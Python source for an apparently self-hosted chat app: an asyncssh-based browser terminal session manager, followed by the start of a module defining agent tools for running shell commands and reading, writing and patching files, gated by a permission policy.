# How long a closed session stays in the registry. A tab attaching a second
# after the shell exited should be told what happened rather than silently
# handed a fresh one.
KEEP_CLOSED = 60.0
# How often the reaper looks. Nothing here is urgent: the idle timeout is
# measured in minutes.
REAP_INTERVAL = 30.0
# Why a session ended. The browser is told, and the wording differs enough to be
# worth the constants.
CLOSED_EXITED = "exited"
CLOSED_IDLE = "idle"
CLOSED_SHUTDOWN = "shutdown"
CLOSED_REVOKED = "revoked"
CLOSED_ERROR = "error"
# Whether this shell tells us where its commands begin and end.
# live -- it does
# loading -- the hooks went in; the first prompt has not arrived yet
# none -- it never will: an unknown shell, or a dotfile that replaced it
INTEGRATION_LIVE = "live"
INTEGRATION_LOADING = "loading"
INTEGRATION_NONE = "none"
# How long a shell may produce output without ever marking a prompt before we
# conclude it is not going to. This is what catches a `.bashrc` ending in `exec
# tmux`: the hooks were installed and then the shell replaced itself. Without
# it the buttons stay greyed out forever with no explanation.
INTEGRATION_GRACE = 10.0
@dataclass
class Viewer:
"""One browser watching one shell."""
cols: int = 80
rows: int = 24
id: str = field(default_factory=lambda: uuid.uuid4().hex)
queue: asyncio.Queue = field(default_factory=lambda: asyncio.Queue(maxsize=VIEWER_QUEUE))
# Everything the shell has said so far, handed over in the same synchronous
# call that subscribes. Reading the buffer and subscribing as two awaits
# loses whatever arrives between them.
snapshot: bytes = b""
# Set when this viewer fell behind. It is woken with the sentinel below and
# told to reconnect, which costs it nothing: the scrollback is the state.
dropped: bool = False
class Session:
"""A shell on the far side of one chat's connection."""
def __init__(
self,
chat_id: str,
*,
owner_id: str,
profile_id: str,
label: str,
project_dir: str = "",
idle_timeout: float = 1800.0,
cols: int = 80,
rows: int = 24,
integrate: bool = True,
) -> None:
self.chat_id = chat_id
self.owner_id = owner_id
self.profile_id = profile_id
self.label = label
self.project_dir = project_dir
self.idle_timeout = idle_timeout
self.viewers: dict[str, Viewer] = {}
self._scrollback: deque[bytes] = deque()
self._scrollback_bytes = 0
# --- Command boundaries ---------------------------------------------
# Three states, and the middle one matters: INTEGRATION_LOADING means
# the hooks were installed and no marker has arrived yet, which is a
# different thing to tell somebody than "this shell will never mark".
self.integrate = integrate
self.integration = INTEGRATION_LOADING if integrate else INTEGRATION_NONE
self.shell = ""
self._marks = shell_marks.Marks(self._on_mark, self._on_text)
# At most two, ever. The one being written and the last finished one --
# a history would be a second scrollback with none of the bounding.
self.current: capture.Capture | None = None
self.last: capture.Capture | None = None
self._captures = 0
# Where the shell says it is, which the panel header shows live and a
# capture records. Seeded from the chat so it says something sensible
# before the first prompt.
self.cwd = project_dir
# Set by the socket layer, which knows how to shape a frame. Called
# when a command finishes so a panel can enable its buttons without
# polling for something that happens a few times a minute.
self.on_command: Any = None
self._conn: Any = None
self._process: Any = None
self._pump: asyncio.Task | None = None
self.closed = False
self.closed_reason = ""
self.closed_at = 0.0
self.started_at = time.monotonic()
# Bumped by a keystroke and by a viewer coming or going. Idle is this
# going quiet *with nobody attached*: a build running behind a closed
# panel is the case this whole lifetime exists for.
self.last_active = time.monotonic()
# The size the PTY is *created* with, which matters: a shell prints its
# prompt before anything could resize it, and a prompt drawn at 80
# columns inside a 140-column window stays wrong until the next one.
self.cols = _clamp(cols, MIN_COLS, MAX_COLS)
self.rows = _clamp(rows, MIN_ROWS, MAX_ROWS)
# --- Opening -------------------------------------------------------------
async def start(self, spec: dict[str, Any]) -> None:
"""Connect, ask for a PTY, and start pumping what it says.
The credential is used here and not kept. `spec` is a decrypted snapshot
of a profile and the connection outlives the request that made it, so
holding a private key in memory for the hour a shell sits at a prompt
buys nothing.
"""
if problem := available():
raise ExecError(problem)
import asyncssh
try:
self._conn = await asyncssh.connect(
spec["host"],
**connect_kwargs(spec),
# asyncssh sends no keepalives by default. `SshExecutor` never
# needed them because its connections live for one command; a
# shell held open behind NAT otherwise gets dropped with no FIN
# and no exception, and the pump simply never returns -- the
# panel looks alive and answers nothing.
keepalive_interval=30,
keepalive_count_max=3,
)
self._process = await self._conn.create_process(
self._command(),
term_type=TERM_TYPE,
term_size=(self.cols, self.rows),
# Bytes in both directions. A read lands mid-character often
# enough to matter, and the browser's decoder is stateful across
# writes while a per-frame decode here is not: it would corrupt
# every boundary. Nothing decodes, so nothing can split.
encoding=None,
stderr=asyncssh.STDOUT,
)
except asyncssh.HostKeyNotVerifiable as exc:
await self._teardown()
raise ExecError(
f"{self.label} presented a different host key than the one that "
"was confirmed. Nothing was sent."
) from exc
except asyncssh.PermissionDenied as exc:
await self._teardown()
raise ExecError(f"{self.label} refused the credential.") from exc
except (OSError, asyncssh.Error) as exc:
await self._teardown()
raise ExecError(f"Could not reach {self.label}: {exc}") from exc
self._pump = asyncio.create_task(self._read_forever())
def _command(self) -> str | None:
"""What the PTY runs, or None for the account's plain login shell.
A shell has no notion of "start here" that SSH can carry, so the chat's
project directory has to be a `cd` -- run before the shell rather than
typed into it, so the scrollback opens on a prompt instead of on a
command nobody entered. It is single-quoted, and a failure is ignored:
a directory that has been deleted should leave somebody at a shell to
find out why, not with a connection that closes as it opens.
With integration on, the same string also writes the shell-integration
files and execs through them; see `shell_marks` for why it is done in
the command rather than over SFTP or through the environment.
"""
return shell_marks.command_for(self.project_dir, integrate=self.integrate)
# --- Where one command ends and the next begins --------------------------
def _on_mark(self, kind: str, value: str) -> None:
"""One marker, from the scanner in the pump.
Advisory, never trusted: a program can print these itself and move a
boundary. It is not a way in -- the text is sanitised and fenced either
way, and a program could already print anything on screen -- but that is
why nothing here validates them, and why none of it decides anything a
person could not already do at the keyboard.
"""
if kind == shell_marks.MARK_READY:
self.integration = INTEGRATION_LIVE
self.shell = value.split(";")[0][:32]
return
if self.integration != INTEGRATION_LIVE and kind in (
shell_marks.MARK_PROMPT,
shell_marks.MARK_OUTPUT,
):
self.integration = INTEGRATION_LIVE
if kind == shell_marks.MARK_CWD:
path = shell_marks.unescape(value.partition("=")[2])[:1000]
self.cwd = path
return
if kind == shell_marks.MARK_COMMAND:
self._captures += 1
self.current = capture.Capture(
seq=self._captures,
command=capture.trim_command(shell_marks.unescape(value)),
cwd=self.cwd,
)
return
if kind == shell_marks.MARK_DONE and self.current is not None:
try:
self.current.exit_status = int(value.strip() or 0)
except ValueError:
self.current.exit_status = 0
self.current.ended = time.monotonic()
self.last = self.current
self.current = None
if self.on_command is not None:
self.on_command(self.last)
def _on_text(self, data: bytes) -> None:
"""Everything that was not a marker, while a command is running.
Interleaved with `_on_mark` rather than applied to the whole chunk
afterwards: a shell often writes the command marker, the output and the
finished marker in one read, and absorbing after the scan would find
the capture already closed and keep nothing at all.
"""
if self.current is not None:
self.current.absorb(data)
def latest(self) -> capture.Capture | None:
"""The command to act on: the one still running, else the last one.
In-flight counts. "Copy the last command and its output" while `make` is
still going should give what has been printed so far, marked as still
running -- not "nothing yet".
"""
return self.current or self.last
# --- Following -----------------------------------------------------------
def attach(self, cols: int = 80, rows: int = 24) -> Viewer:
"""Subscribe, and take the scrollback, in one synchronous step.
One step on purpose: reading the buffer and subscribing as two awaits
loses whatever the shell says between them, which is exactly the moment
somebody reattaches to a build that is still writing.
"""
viewer = Viewer(
cols=_clamp(cols, MIN_COLS, MAX_COLS),
rows=_clamp(rows, MIN_ROWS, MAX_ROWS),
)
viewer.snapshot = b"".join(self._scrollback)
self.viewers[viewer.id] = viewer
self.last_active = time.monotonic()
self.apply_size()
return viewer
def detach(self, viewer: Viewer) -> None:
self.viewers.pop(viewer.id, None)
# Counts as activity: the timeout is "nobody has been here and nothing
# has happened for a while", so it starts when the last viewer leaves.
self.last_active = time.monotonic()
self.apply_size()
async def send(self, data: bytes) -> None:
"""Type into the shell."""
if self.closed or self._process is None:
return
self.last_active = time.monotonic()
try:
self._process.stdin.write(data)
except (BrokenPipeError, ConnectionResetError, OSError):
await self._finish(CLOSED_EXITED)
def resize(self, viewer: Viewer, cols: int, rows: int) -> None:
"""Record this viewer's size and give the far side the smallest.
Two tabs on one PTY cannot each have their own geometry. The smaller
wins in both directions, so nothing is drawn off the edge of the smaller
window -- the larger one gets an unused margin, which is the harmless
half of the trade.
"""
viewer.cols = _clamp(cols, MIN_COLS, MAX_COLS)
viewer.rows = _clamp(rows, MIN_ROWS, MAX_ROWS)
self.apply_size()
def apply_size(self) -> None:
"""Synchronous: `change_terminal_size` only queues a window-change
message, so there is nothing to await and no reason to make every
caller a coroutine."""
if self.closed or self._process is None or not self.viewers:
return
cols = min(v.cols for v in self.viewers.values())
rows = min(v.rows for v in self.viewers.values())
if (cols, rows) == (self.cols, self.rows):
return
self.cols, self.rows = cols, rows
with contextlib.suppress(Exception):
self._process.change_terminal_size(cols, rows)
# --- The pump ------------------------------------------------------------
async def _read_forever(self) -> None:
assert self._process is not None
try:
while True:
data = await self._process.stdout.read(READ_BYTES)
if not data:
break
self._remember(data)
# Before the fan-out, so a "this command finished" frame can
# never reach a browser after the output it describes.
self._observe(data)
self._fan_out(data)
except asyncio.CancelledError:
raise
except Exception as exc: # noqa: BLE001 - one shell dying is not a crash
log.info("terminal %s ended: %s", self.chat_id, exc)
await self._finish(CLOSED_ERROR)
return
await self._finish(CLOSED_EXITED)
def _observe(self, data: bytes) -> None:
"""Watch the stream for markers, and feed the command being captured.
Server-side rather than in the browser, for five reasons. The `behind`
path calls `term.reset()` and replays a *truncated* scrollback, so a
client parser routinely sees a "finished" with no matching "started".
Two tabs share one shell and two parsers can disagree about what "the
last command" is. The server sees the stream once however many are
watching. And what comes out of this ends up inside a prompt -- deriving
it here means there is nothing to disbelieve later.
The bytes are still fanned out unchanged, markers and all: xterm
consumes an OSC it has no handler for and never draws it, and rewriting
frames on the hot path would break the "nothing decodes, so nothing can
split" property the pump depends on.
"""
self._marks.feed(data)
if self.current is None and (
self.integration == INTEGRATION_LOADING
and time.monotonic() - self.started_at > INTEGRATION_GRACE
):
# Output arrived, the grace period passed, and no marker ever came.
# Output arrived, the grace period passed, and no marker ever came.
# Something replaced the shell -- a dotfile ending in `exec tmux` is
# the usual one. Say so rather than leaving the buttons greyed.
self.integration = INTEGRATION_NONE
def _remember(self, data: bytes) -> None:
self._scrollback.append(data)
self._scrollback_bytes += len(data)
while self._scrollback_bytes > SCROLLBACK_BYTES and len(self._scrollback) > 1:
self._scrollback_bytes -= len(self._scrollback.popleft())
def announce(self, text: str) -> None:
"""Put one text frame in front of every viewer.
Through the same queues as the output so ordering is preserved: a
"finished" that overtook the last of the output it describes would have
a panel offering a capture the screen has not caught up with. Dropped
rather than blocking on a full queue -- that viewer is already being
disconnected and will be told again on reattach.
"""
for viewer in list(self.viewers.values()):
with contextlib.suppress(asyncio.QueueFull):
viewer.queue.put_nowait(text)
def _fan_out(self, data: bytes) -> None:
for viewer in list(self.viewers.values()):
try:
viewer.queue.put_nowait(data)
except asyncio.QueueFull:
# Emptied first so the sentinel fits and so the socket does not
# spend its last moments writing frames nobody will see.
_drain(viewer.queue)
viewer.dropped = True
with contextlib.suppress(asyncio.QueueFull):
viewer.queue.put_nowait(None)
self.viewers.pop(viewer.id, None)
# --- Closing -------------------------------------------------------------
async def close(self, reason: str = CLOSED_SHUTDOWN) -> None:
pump, self._pump = self._pump, None
if pump is not None:
pump.cancel()
with contextlib.suppress(asyncio.CancelledError, Exception):
await pump
await self._finish(reason)
async def _finish(self, reason: str) -> None:
"""Mark this session over and wake everybody watching.
Called from the pump when the shell exits, and from `close` after the
pump has been cancelled -- which is why it does not cancel the pump
itself. The entry stays in the registry for KEEP_CLOSED so a late
attachment gets an explanation.
"""
if self.closed:
return
self.closed = True
self.closed_reason = reason
self.closed_at = time.monotonic()
for viewer in list(self.viewers.values()):
with contextlib.suppress(asyncio.QueueFull):
viewer.queue.put_nowait(None)
await self._teardown()
log.info(
"terminal closed chat=%s owner=%s profile=%s reason=%s after=%.0fs",
self.chat_id,
self.owner_id,
self.profile_id,
reason,
time.monotonic() - self.started_at,
)
async def _teardown(self) -> None:
process, self._process = self._process, None
conn, self._conn = self._conn, None
if process is not None:
with contextlib.suppress(Exception):
process.terminate()
if conn is not None:
with contextlib.suppress(Exception):
conn.close()
with contextlib.suppress(Exception):
await conn.wait_closed()
@property
def idle_for(self) -> float:
if self.viewers:
return 0.0
return time.monotonic() - self.last_active
# --- The registry ------------------------------------------------------------
_SESSIONS: dict[str, Session] = {}
_REAPER: asyncio.Task | None = None
def get(chat_id: str) -> Session | None:
"""The live session for a chat, if there is one. Closed ones do not count."""
session = _SESSIONS.get(chat_id)
if session is None or session.closed:
return None
return session
def peek(chat_id: str) -> Session | None:
"""As `get`, but a recently closed session too -- it carries the reason."""
return _SESSIONS.get(chat_id)
def count() -> int:
return sum(1 for s in _SESSIONS.values() if not s.closed)
def count_for(owner_id: str) -> int:
return sum(1 for s in _SESSIONS.values() if not s.closed and s.owner_id == owner_id)
async def open_session(
chat_id: str,
*,
owner_id: str,
profile_id: str,
label: str,
spec: dict[str, Any],
project_dir: str = "",
idle_timeout: float = 1800.0,
max_sessions: int = 20,
max_per_user: int = 3,
cols: int = 80,
rows: int = 24,
integrate: bool = True,
) -> Session:
"""The shell for this chat, opening one if it is not already there.
Idempotent for the same reason `generation.ensure` is: a second tab, or the
same tab after a reload, must attach to what is running rather than start a
second shell on the same machine.
"""
existing = get(chat_id)
if existing is not None:
return existing
_reap()
if count() >= max_sessions:
raise ExecError(
"This instance already has as many terminals open as it allows. "
"Close one, or ask an administrator to raise the limit."
)
if count_for(owner_id) >= max_per_user:
raise ExecError(
f"You already have {max_per_user} terminal"
f"{'' if max_per_user == 1 else 's'} open. Close one first."
)
session = Session(
chat_id,
owner_id=owner_id,
profile_id=profile_id,
label=label,
integrate=integrate,
project_dir=project_dir,
idle_timeout=idle_timeout,
cols=cols,
rows=rows,
)
await session.start(spec)
_SESSIONS[chat_id] = session
_ensure_reaper()
log.info(
"terminal opened chat=%s owner=%s profile=%s host=%s dir=%s",
chat_id,
owner_id,
profile_id,
label,
project_dir or "~",
)
return session
async def close_chat(chat_id: str, reason: str = CLOSED_REVOKED) -> bool:
session = _SESSIONS.pop(chat_id, None)
if session is None:
return False
await session.close(reason)
return True
async def close_for_profile(profile_id: str) -> int:
"""End every shell opened on one connection.
`session.profile_for` re-checks the profile on every reply, so deleting or
disabling one stops the model at once. A terminal resolves the profile
when it opens and then holds the connection, so without this "I disabled
that connection" would simply not be true of the shell already on screen.
"""
doomed = [s for s in _SESSIONS.values() if s.profile_id == profile_id and not s.closed]
for session in doomed:
_SESSIONS.pop(session.chat_id, None)
await session.close(CLOSED_REVOKED)
return len(doomed)
async def close_for_owner(owner_id: str) -> int:
doomed = [s for s in _SESSIONS.values() if s.owner_id == owner_id and not s.closed]
for session in doomed:
_SESSIONS.pop(session.chat_id, None)
await session.close(CLOSED_REVOKED)
return len(doomed)
async def shutdown() -> None:
"""End every shell. Called from the lifespan, beside stop_generations."""
global _REAPER
reaper, _REAPER = _REAPER, None
if reaper is not None:
reaper.cancel()
with contextlib.suppress(asyncio.CancelledError, Exception):
await reaper
for session in list(_SESSIONS.values()):
await session.close(CLOSED_SHUTDOWN)
_SESSIONS.clear()
def _reap() -> None:
"""Drop sessions that have been closed long enough to stop explaining."""
now = time.monotonic()
for chat_id, session in list(_SESSIONS.items()):
if session.closed and now - session.closed_at > KEEP_CLOSED:
_SESSIONS.pop(chat_id, None)
def _ensure_reaper() -> None:
global _REAPER
if _REAPER is None or _REAPER.done():
_REAPER = asyncio.create_task(_reaper_loop())
async def _reaper_loop() -> None:
"""Close idle shells, then forget closed ones.
A task rather than a sweep inside `open_session`, which is the shape
`generation` uses. That works there because a generation ends on its own and
something calls in again; a shell at a prompt does neither, so a lazy sweep
would run only when somebody opened the *next* terminal.
"""
while True:
try:
await asyncio.sleep(REAP_INTERVAL)
for session in list(_SESSIONS.values()):
if not session.closed and session.idle_for > session.idle_timeout:
_SESSIONS.pop(session.chat_id, None)
await session.close(CLOSED_IDLE)
_reap()
except asyncio.CancelledError:
raise
except Exception: # noqa: BLE001 - the reaper must outlive one bad sweep
log.exception("the terminal reaper raised")
def _drain(queue: asyncio.Queue) -> None:
while True:
try:
queue.get_nowait()
except asyncio.QueueEmpty:
return
def _clamp(value: int, low: int, high: int) -> int:
try:
number = int(value)
except (TypeError, ValueError):
return low
return min(max(number, low), high)
__all__ = [
"CLOSED_EXITED",
"CLOSED_IDLE",
"CLOSED_REVOKED",
"CLOSED_SHUTDOWN",
"Session",
"Viewer",
"close_chat",
"close_for_owner",
"close_for_profile",
"count",
"count_for",
"get",
"open_session",
"peek",
"shutdown",
]
+796
View File
@@ -0,0 +1,796 @@
"""The four things an agent chat can do to the machine it is pointed at.
Two rules shape all of them.
**The descriptions say nothing about where.** A tool description is schema, sent
verbatim and deliberately not editable, and it states facts about what a runner
does. Which machine, which directory and which mode is in force are facts about
*this chat*, so they live in the harness fragment where they can change without
the schema changing under a model mid-conversation.
**Every runner re-checks the mode.** `_authorise` in the generation loop is the
real gate and runs before any of this, but a backstop here means a future path
that reaches `run_tool` directly -- a retry, a test, an admin re-run button --
cannot walk past it. That is the same instinct that closed the registry hole:
the check belongs where the action is, not only where the action was decided.
"""
from __future__ import annotations
import json
import logging
import posixpath
from typing import Any
from lembas.services import plans
from lembas.services.agent import index, instructions, patch, policy
from lembas.services.agent.base import ExecError, ExecRequest
from lembas.services.agent.session import AgentContext
from lembas.services.tools import (
RISK_EXECUTE,
RISK_READ,
RISK_WRITE,
ToolContext,
ToolDef,
ToolOutcome,
)
log = logging.getLogger(__name__)
FAMILY_AGENT = "agent"
# How much of a command's output is kept on the message row for the transcript,
# separately from what the model reads. `max_output` is spent once; this is
# stored on every message forever.
MAX_EVENT_CHARS = 4000
# And how much of a diff. Same reasoning as the constant above and the same
# ceiling in spirit: a generated file's diff can be larger than the file, and
# this one is stored on the row forever and re-parsed on every page load.
MAX_DIFF_LINES = 200
_STRING = {"type": "string"}
def _event(name: str, context: AgentContext, summary: str, **extra: Any) -> dict[str, Any]:
"""One line in the transcript for one call.
No `label`. What a tool is called is decided by `services/tool_labels.py`,
for every tool at once -- this used to write the SSH profile's name here, so
a bubble said "homeserver · ls -la" and named the machine rather than the
thing that was done. The machine is a fact about *where*, so it belongs with
the directory in `detail`, which the template already renders in the body.
"""
where = context.label
if context.project_dir:
where = f"{where}:{context.project_dir}"
return {
"name": name,
"kind": "agent",
"query": summary,
"detail": where,
"results": [],
**extra,
}
def _refused(name: str, context: AgentContext, summary: str, reason: str) -> ToolOutcome:
return ToolOutcome(
f"That was not allowed: {reason}",
_event(name, context, summary, status="error", error=reason),
)
def _permitted(context: AgentContext, name: str, risk: str, command: str = "") -> str:
"""Empty when this call may proceed, else why not.
The backstop. What it catches is a call arriving by a path that skipped
`_authorise` -- a retry, a test, some future re-run button.
A call a person has just allowed carries `approved` and goes straight
through. Without that this would refuse the very thing that was approved:
the mode says "ask", and asking is precisely what happened.
"""
if context.approved:
return ""
decision = policy.decide(
mode=context.mode,
risk=risk,
tool_name=name,
command=command,
allow=context.allow,
deny=context.deny,
)
if decision.verdict == policy.ALLOW:
return ""
return decision.reason or "it needs to be approved first."
def _agent(context: ToolContext) -> AgentContext | None:
return getattr(context, "agent", None)
# --- Running a command --------------------------------------------------------
async def _run_shell(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
agent = _agent(context)
command = str(args.get("command") or "").strip()
if agent is None:
return ToolOutcome(
"This conversation is not connected to a machine, so nothing can be run.",
{"name": "shell_run", "status": "error", "error": "No connection.", "results": []},
)
if not command:
return _refused("shell_run", agent, "", "no command was given.")
if reason := _permitted(agent, "shell_run", RISK_EXECUTE, command):
return _refused("shell_run", agent, command, reason)
timeout = _timeout(args.get("timeout"), agent)
try:
result = await agent.executor().run(
ExecRequest(
command=command,
cwd=str(args.get("cwd") or "").strip(),
timeout=timeout,
max_bytes=agent.max_output,
)
)
except ExecError as exc:
return ToolOutcome(
exc.message, _event("shell_run", agent, command, status="error", error=exc.message)
)
body = result.output.strip()
if result.timed_out:
head = f"The command was stopped after {timeout:g}s."
elif result.exit_status == 0:
head = "" if body else "It ran, and printed nothing."
else:
head = f"It exited {result.exit_status}."
content = f"{head}\n\n{body}".strip() if head else body
return ToolOutcome(
content or "It ran, and printed nothing.",
_event(
"shell_run",
agent,
command,
status="ok" if result.ok else "error",
error="" if result.ok else head,
text=body[:MAX_EVENT_CHARS],
),
)
def _timeout(raw: Any, agent: AgentContext) -> float:
"""What the model asked for, bounded by what an administrator allowed."""
try:
wanted = float(raw) if raw is not None else agent.timeout
except (TypeError, ValueError):
wanted = agent.timeout
return min(max(wanted, 1.0), agent.max_timeout)
# --- Files ---------------------------------------------------------------------
def _path_key(agent: AgentContext, path: str) -> str:
"""One name for one file, so `./a.py` and `a.py` are the same file.
Relative paths are resolved against the project directory, which is what the
executor does with them, so the two cannot disagree about what was read.
"""
if not posixpath.isabs(path) and agent.project_dir:
path = posixpath.join(agent.project_dir, path)
return posixpath.normpath(path)
def _forget_instructions(agent: AgentContext, path: str) -> None:
"""Drop the cached AGENTS.md when the thing just written *is* it.
The one case its TTL cannot cover: this process changing the file it has
been quoting into every request for the last five minutes.
"""
if agent.profile_id and instructions.is_instruction_file(path, agent.project_dir):
instructions.forget(agent.profile_id, agent.project_dir)
async def _current(agent: AgentContext, path: str) -> tuple[str, bool]:
"""What is in the file now, and whether it is safe to diff against.
Best effort, and one extra SFTP round trip on every write -- see the note in
`_run_write`. A file that cannot be read and a file that does not exist are
the same thing over SFTP without a second trip for a stat, and both are
shown as a new file, which is what git does and is honest enough here.
Not diffable when the read came back at the ceiling: `read_file` truncates
and says so in the text rather than in a flag, so a file at `max_output` is
assumed truncated. Diffing a truncated original invents deletions of the
tail, which is worse than showing no diff at all.
"""
try:
text = await agent.executor().read_file(path, max_bytes=agent.max_output)
except ExecError:
return "", True
return text, len(text) < agent.max_output
async def _run_read(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
agent = _agent(context)
path = str(args.get("path") or "").strip()
if agent is None or not path:
return _no_connection_or_path("file_read", agent, path)
if reason := _permitted(agent, "file_read", RISK_READ):
return _refused("file_read", agent, path, reason)
try:
text = await agent.executor().read_file(path, max_bytes=agent.max_output)
except ExecError as exc:
return ToolOutcome(
exc.message, _event("file_read", agent, path, status="error", error=exc.message)
)
# What makes `file_edit` possible: a patch may only be applied to something
# this reply has actually looked at.
agent.read_paths.add(_path_key(agent, path))
return ToolOutcome(
text or "(the file is empty)",
_event("file_read", agent, path, status="ok", text=text[:MAX_EVENT_CHARS]),
)
async def _run_write(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
agent = _agent(context)
path = str(args.get("path") or "").strip()
if agent is None or not path:
return _no_connection_or_path("file_write", agent, path)
if reason := _permitted(agent, "file_write", RISK_WRITE):
return _refused("file_write", agent, path, reason)
content = args.get("content")
if not isinstance(content, str):
content = "" if content is None else json.dumps(content, ensure_ascii=False)
# One extra SFTP round trip per write, on the hottest agent operation, and a
# conscious trade. It buys the transcript a real diff instead of "1284
# bytes" -- which is the difference between being able to see what an agent
# did and having to go and look -- and it counts as having read the file, so
# a write followed by an edit works in one reply.
before, diffable = await _current(agent, path)
try:
written = await agent.executor().write_file(path, content)
except ExecError as exc:
return ToolOutcome(
exc.message, _event("file_write", agent, path, status="error", error=exc.message)
)
agent.read_paths.add(_path_key(agent, path))
# The tree just changed, and this process is what changed it. The listing's
# TTL is for drift nobody can see coming; leaving five more minutes of a
# listing known to be wrong makes a model conclude the file it has just
# written does not exist.
if agent.profile_id:
index.forget_dir(agent.profile_id, agent.project_dir)
_forget_instructions(agent, path)
event = _event("file_write", agent, path, status="ok", text=f"{written} bytes")
if diffable and before != content:
event["diff"] = patch.render(before, content, path, max_lines=MAX_DIFF_LINES)
return ToolOutcome(f"Wrote {written} bytes to {path}.", event)
async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
"""Change part of a file by applying a unified diff.
The read-first requirement is the whole point. A patch written from memory
against a file the model has not looked at either fails on context -- the
good case -- or matches something it did not mean, and `file_write`'s
failure mode is worse still: it silently drops everything the model did not
happen to recall. Making the read compulsory turns "lost half the file" into
"was told to read it first".
"""
agent = _agent(context)
path = str(args.get("path") or "").strip()
if agent is None or not path:
return _no_connection_or_path("file_edit", agent, path)
if reason := _permitted(agent, "file_edit", RISK_WRITE):
return _refused("file_edit", agent, path, reason)
if _path_key(agent, path) not in agent.read_paths:
return ToolOutcome(
f"Read the file first! Nothing was written. Call file_read on {path} "
f"in this reply, then send a patch that matches what came back.",
_event("file_edit", agent, path, status="error", error="Not read yet."),
)
raw = args.get("patch")
if not isinstance(raw, str) or not raw.strip():
return ToolOutcome(
"No patch was given. Send a unified diff: one or more "
"`@@ -old,count +new,count @@` hunks.",
_event("file_edit", agent, path, status="error", error="No patch."),
)
before, diffable = await _current(agent, path)
try:
after = patch.apply(before, patch.parse(raw))
except patch.PatchError as exc:
# Returned, never raised: `run_tool`'s blanket catch would keep the
# model going but lose the detail, and the detail is what it retries
# from.
return ToolOutcome(
exc.message,
_event("file_edit", agent, path, status="error", error=exc.message[:200]),
)
if after == before:
return ToolOutcome(
f"That patch changes nothing in {path}. It is already as you want it.",
_event("file_edit", agent, path, status="ok", text="no change"),
)
try:
written = await agent.executor().write_file(path, after)
except ExecError as exc:
return ToolOutcome(
exc.message, _event("file_edit", agent, path, status="error", error=exc.message)
)
# Deliberately NOT index.forget_dir: an edit does not change the listing,
# because the file was already there. Forgetting it would cost the next
# reply either a wait on `INDEX_WAIT` or a turn with no listing at all, and
# buy nothing. The instruction file is the opposite case -- the listing only
# cares that it exists, that cache is a copy of what is in it.
_forget_instructions(agent, path)
event = _event("file_edit", agent, path, status="ok", text=f"{written} bytes")
if diffable:
event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES)
return ToolOutcome(f"Updated {path} ({written} bytes).", event)
async def _run_list(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
agent = _agent(context)
if agent is None:
return _no_connection_or_path("file_list", agent, "")
path = str(args.get("path") or "").strip()
if reason := _permitted(agent, "file_list", RISK_READ):
return _refused("file_list", agent, path, reason)
try:
names = await agent.executor().list_dir(path)
except ExecError as exc:
return ToolOutcome(
exc.message, _event("file_list", agent, path, status="error", error=exc.message)
)
where = path or agent.project_dir or "."
body = "\n".join(names) if names else "(empty)"
return ToolOutcome(
f"{where}:\n{body}",
_event("file_list", agent, where, status="ok", text=body[:MAX_EVENT_CHARS]),
)
def _no_connection_or_path(name: str, agent: AgentContext | None, path: str) -> ToolOutcome:
if agent is None:
return ToolOutcome(
"This conversation is not connected to a machine.",
{"name": name, "status": "error", "error": "No connection.", "results": []},
)
return _refused(name, agent, path, "no path was given.")
# --- Proposing a plan -----------------------------------------------------------
MAX_STEPS = 20
async def _run_plan(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
"""Record a plan and stop.
Writes nothing and runs nothing, which is why it is `RISK_READ` and works in
Plan mode without asking. The loop notices `plan_final` and ends the reply
there: a plan followed by three more rounds of the model changing its mind
is not a plan.
`steps` is still accepted alongside the structure. A small model sends it,
`plans.normalise` turns it into one phase, and refusing would cost a whole
round trip to say so.
"""
agent = _agent(context)
plan = plans.build(
title=args.get("title"),
summary=args.get("summary"),
findings=args.get("findings"),
objectives=args.get("objectives"),
phases=args.get("phases"),
steps=args.get("steps"),
)
if not plan or not plan["steps"]:
return ToolOutcome(
"A plan needs at least one task. Say what you would actually do, as "
"phases of concrete tasks — or as a flat list of steps if there is "
"only one phase of work.",
{"name": "plan_submit", "kind": "plan", "status": "error",
"error": "No tasks.", "results": []},
)
if agent is not None:
agent.plan = plan
return ToolOutcome(
"Plan recorded. Stop here — they will read it and decide whether to "
"carry it out. Do not start doing it.",
{
"name": "plan_submit",
"kind": "plan",
"detail": agent.label if agent else "",
"query": plan["title"],
"status": "ok",
"results": [],
# Read back by the loop, which puts it on the message so the
# Execute button sends exactly what was proposed rather than an
# approximation parsed out of the prose.
"plan": plan,
# Only `plan_submit` sets this, and it is what withdraws the tools
# for the last round. `plan_update` is bookkeeping in the middle of
# work and must not end the reply.
"plan_final": True,
},
)
async def _run_plan_update(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
"""Tick something off, or record something found.
`RISK_READ`, and the reasoning is worth stating because it sits in tension
with `notes_edit` being `RISK_WRITE`. Risk is about what a tool does to *the
world*, and the world the four modes govern is the machine -- this cannot
touch it. Practically, `RISK_WRITE` would put an approval card on screen
every time a task was ticked off: four cards to carry out a four-task plan,
each one approving a bookkeeping entry, which is exactly the interruption
that batching approvals exists to prevent. The distinguishing line against
`notes_edit` is that a note is a durable artefact of the reader's that
outlives the chat, while this is the chat's own record of what it is doing.
An administrator who disagrees puts `plan_update` in the deny list.
It reads and writes `agent.plan` rather than the database, because a runner
cannot write the message row -- and because two updates in one reply would
otherwise both read the same stale plan and the second would lose the first.
"""
agent = _agent(context)
if agent is None or not agent.plan:
return ToolOutcome(
"There is no plan for this conversation yet, so there is nothing to "
"update.",
{"name": "plan_update", "kind": "plan", "status": "error",
"error": "No plan.", "results": []},
)
plan, changed = plans.merge(agent.plan, args)
if not changed:
return ToolOutcome(
"Nothing in the plan changed. Quote a task or objective id from the "
"plan above — they look like t1 and o1.",
{"name": "plan_update", "kind": "plan", "status": "error",
"error": "Nothing matched.", "results": []},
)
agent.plan = plan
return ToolOutcome(
"Plan updated: " + ", ".join(changed) + ". Carry on with the work.",
{
"name": "plan_update",
"kind": "plan",
"detail": agent.label,
"query": plan["title"],
"status": "ok",
"results": [],
"plan": plan,
"text": "\n".join(changed),
},
)
# --- The definitions -----------------------------------------------------------
def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
"""The agent tools, bound to one chat's machine.
`None` yields the same definitions unbound, which is what `tools.registry`
